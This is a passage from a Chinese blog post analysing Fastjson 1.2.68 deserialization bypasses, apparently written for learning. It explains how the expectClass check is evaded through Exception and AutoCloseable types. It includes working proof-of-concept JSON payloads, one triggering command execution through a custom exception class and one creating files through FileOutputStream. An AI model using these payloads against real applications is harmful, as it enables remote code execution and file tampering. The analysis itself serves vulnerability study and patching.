我们可以看到`Exception`类在缓存`mapping`里,因此我们可以构建一个异常类。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/PoETLhh7uoQXpGBr.webp" alt="img](![image" width="100%" /> ```java public class CalcException extends Exception { ​    private String command; ​    public void setCommand(String command) {        this.command = command;   } ​    @Override    public String getMessage() {        try {            Runtime.getRuntime().exec(this.command);       } catch (IOException e) {            return e.getMessage();       }        return super.getMessage();   } }    public static void main(String[] args) {        String a = " {\n" +                "           \"@type\":\"java.lang.Exception\",\n" +                "               \"@type\": \"org.example.CalcException\",\n" +                "               \"command\": \"open -a Calculator\"\n" +                "       }";        System.out.println(a);        System.out.println(JSONObject.parse(a));   } ``` 在`DefaultJSONParser.parseObject`里,检测到`key`是`@type`,然后会进行安全检测。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/ikoPl3DxJaQw3w1O.webp" alt="img](![image" width="100%" /> <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/m5l2M6Xd10X3Mv3N.webp" alt="img](![image" width="100%" /> 因为第一个`@type`是`Exception.class`,`Exception.class`是在`TypeUtils#mappings`缓存中,所以,直接通过了安全检测中,然后根据类名获取到反序列化器`ThrowableDeserializer`。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/ZKMddwQ7xXDgovm6.webp" alt="img](![image" width="100%" /> 然后在`ThrowableDeserializer`中,再一次进行解析,又匹配到了`key`是`@type`,再次进行安全检测,并且指定了`expectClass`为`Throwable.class`。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/xQmXWkzoiPAND6wi.webp" alt="img](![image" width="100%" /> 因为传入了`expectClass`,又因为`expectClass`不是限制的几个类,所以`expectClassFlag`为`true`,传入的`typeName`又不在黑名单里,只要继承自`Throwable.class`就能通过安全检测,然后返回一个`class`的实例。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/Q8pkyVFbsgATmOIy.webp" alt="img](![image" width="100%" /> <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/5eEWl5MOBGc0VL0b.webp" alt="img](![image" width="100%" /> 最后,调用`getMessage`方法,实现弹出计算器。不过上述的方法只是为了验证这种方法能够绕过安全检测,但事实上很少有人在异常类的用到危险的方法语句,所以这个方式可用性不高。 ##### 绕过方法(AutoCloseable) 我们可以看下`JavaBeanDeserializer#deserialze()`方法,其实它的逻辑和`ThrowableDeserializer#deserialze()`是一样的,都是指定个`expectClass`绕过安全检测。网上用的比较多的类就是`AutoCloseable`,因为它也是在`TypeUtils#mappings`缓存中,并且它的子类比较多,可操作性比较大。我们可以用`FileOutputStream`类作为其实现类。 ```java { "@type": "java.lang.AutoCloseable", "@type": "java.io.FileOutputStream",  "file": "/Users/gulihua/Downloads/1/2/test.txt",  "append": "false" } ``` 可以看到,文件被创建了。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/08P3WI0YBsylLRbs.webp" alt="img](![image" width="100%" /> 其实这个方法对`jdk`的版本也是有限制的,上面测试的版本是`JDK 17`,而在我日常使用的版本`1.8.0_402`报了默认构造方法没找到的异常。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/hh0ArIBMe3QkWp1H.webp" alt="img](![image" width="100%" /> 他会在构建`bean`时,会通过`ASMUtils.lookupParameterNames(constructor)`去找构造方法的参数签名信息,`JDK 1.8.0_40`版本是没有这些信息的,所以报错了。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/tLBCGpDYrO52ndw4.webp" alt="img](![image" width="100%" /> 可以用`javap -l java.io.FileOutputStream`看下有没签名信息,可以看下有没有`LocalVariableTable`信息。 <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/ixV8F6Cv5VdwBOd9.webp" alt="img](![image" width="100%" /> <img src="https://pic.code-nav.cn/post_picture/1777957337596817409/qHfuWzzIMZdB0v0v.webp" alt="img](![image" width="100%" /> 因此这个漏洞是对 `Java 版本`是有要求的,实际生产环境中满足这个要求的版本还是比较小的,而且大部分都是`JDK 8`,所以要去寻找更加合理的利用链,比如使用流行的第三方库,需要满足以下条件: 1)这个类不在`Fastjson 1.2.68`的黑名单中 2)这个类实现了`java.lang.AutoCloseable`接口 3)保留`LocalVariableTable`参数签名信息 肯定是有一些第三方库是满足的,时间有限,我这里就不去尝试了,感兴趣的同学可以去尝试下。 ## 总结 以上就是一些`fastjson`比较知名的漏洞、修复、绕过的过程, 虽然在`fastjson v1`中有很多的漏洞,现在`fastjson v2`重构了`fastjson`,历史版本中存在的漏洞在新版本中均已修复,在安全性上有了很大的提升,我们在实际的项目中可以使用比较新的稳定版本。 我在写这篇文章时,参考了大量的资料,也读了关键的源码,学习到了很多的知识。`Fastjson`自己定义了很多序列化类,并且使用`ASM`技术、反射、使用缓存,并且用了很多的设计模式,并且在算法上也有优化,这个框架的核心就是`Fast`,在序列号和反序列化的效率比其他的库有一定的提升。 我在学习其他大佬写的漏洞分析文章时,觉得他们实在是厉害,对这些发现利用链的大佬们充满由衷的敬佩,不同版本之间的漏洞--修复-绕过-再修复展示了开发者和黑客们的攻防较量,实在是精彩 ~ ## 参考感谢 [https://github.com/alibaba/fastjson/releases](https://github.com/alibaba/fastjson/releases) [https://github.com/alibaba/fastjson/wiki/security\_update\_20200601](https://github.com/alibaba/fastjson/wiki/security_update_20200601) [https://www.cnblogs.com/CoLo/p/15832201.html](https://www.cnblogs.com/CoLo/p/15832201.html) [https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg](https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg) [https://www.cnblogs.com/zpchcbd/p/14969606.html](https://www.cnblogs.com/zpchcbd/p/14969606.html) [https://www.cnblogs.com/nice0e3/p/14601670.html](https://www.cnblogs.com/nice0e3/p/14601670.html) [https://www.cnblogs.com/CoLo/p/15832201.html](https://www.cnblogs.com/CoLo/p/15832201.html#reference) [https://www.cnblogs.com/nice0e3/p/14776043.html](https://www.cnblogs.com/nice0e3/p/14776043.html) [https://milkfr.github.io/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/2019/07/22/analysis-java-deserialize-fastjson/](https://milkfr.github.io/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/2019/07/22/analysis-java-deserialize-fastjson/) [https://zhuanlan.zhihu.com/p/544463507](https://zhuanlan.zhihu.com/p/544463507) [https://www.freebuf.com/vuls/178012.html](https://www.freebuf.com/vuls/178012.html) [https://zonghaishang.github.io/2018/09/30/Fastjson%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96(%E4%BA%8C)-%E5%86%85%E9%83%A8%E6%B3%A8%E5%86%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A3%E6%9E%90/](https://zonghaishang.github.io/2018/09/30/Fastjson%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96\(%E4%BA%8C\)-%E5%86%85%E9%83%A8%E6%B3%A8%E5%86%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%A7%A3%E6%9E%90/) [https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA](https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA) [http://scz.617.cn:8/web/202008100900.txt](http://scz.617.cn:8/web/202008100900.txt) [http://scz.617.cn:8/web/202008111715.txt](http://scz.617.cn:8/web/202008111715.txt) [https://github.com/LeadroyaL/fastjson-blacklist](https://github.com/LeadroyaL/fastjson-blacklist)

下载 APP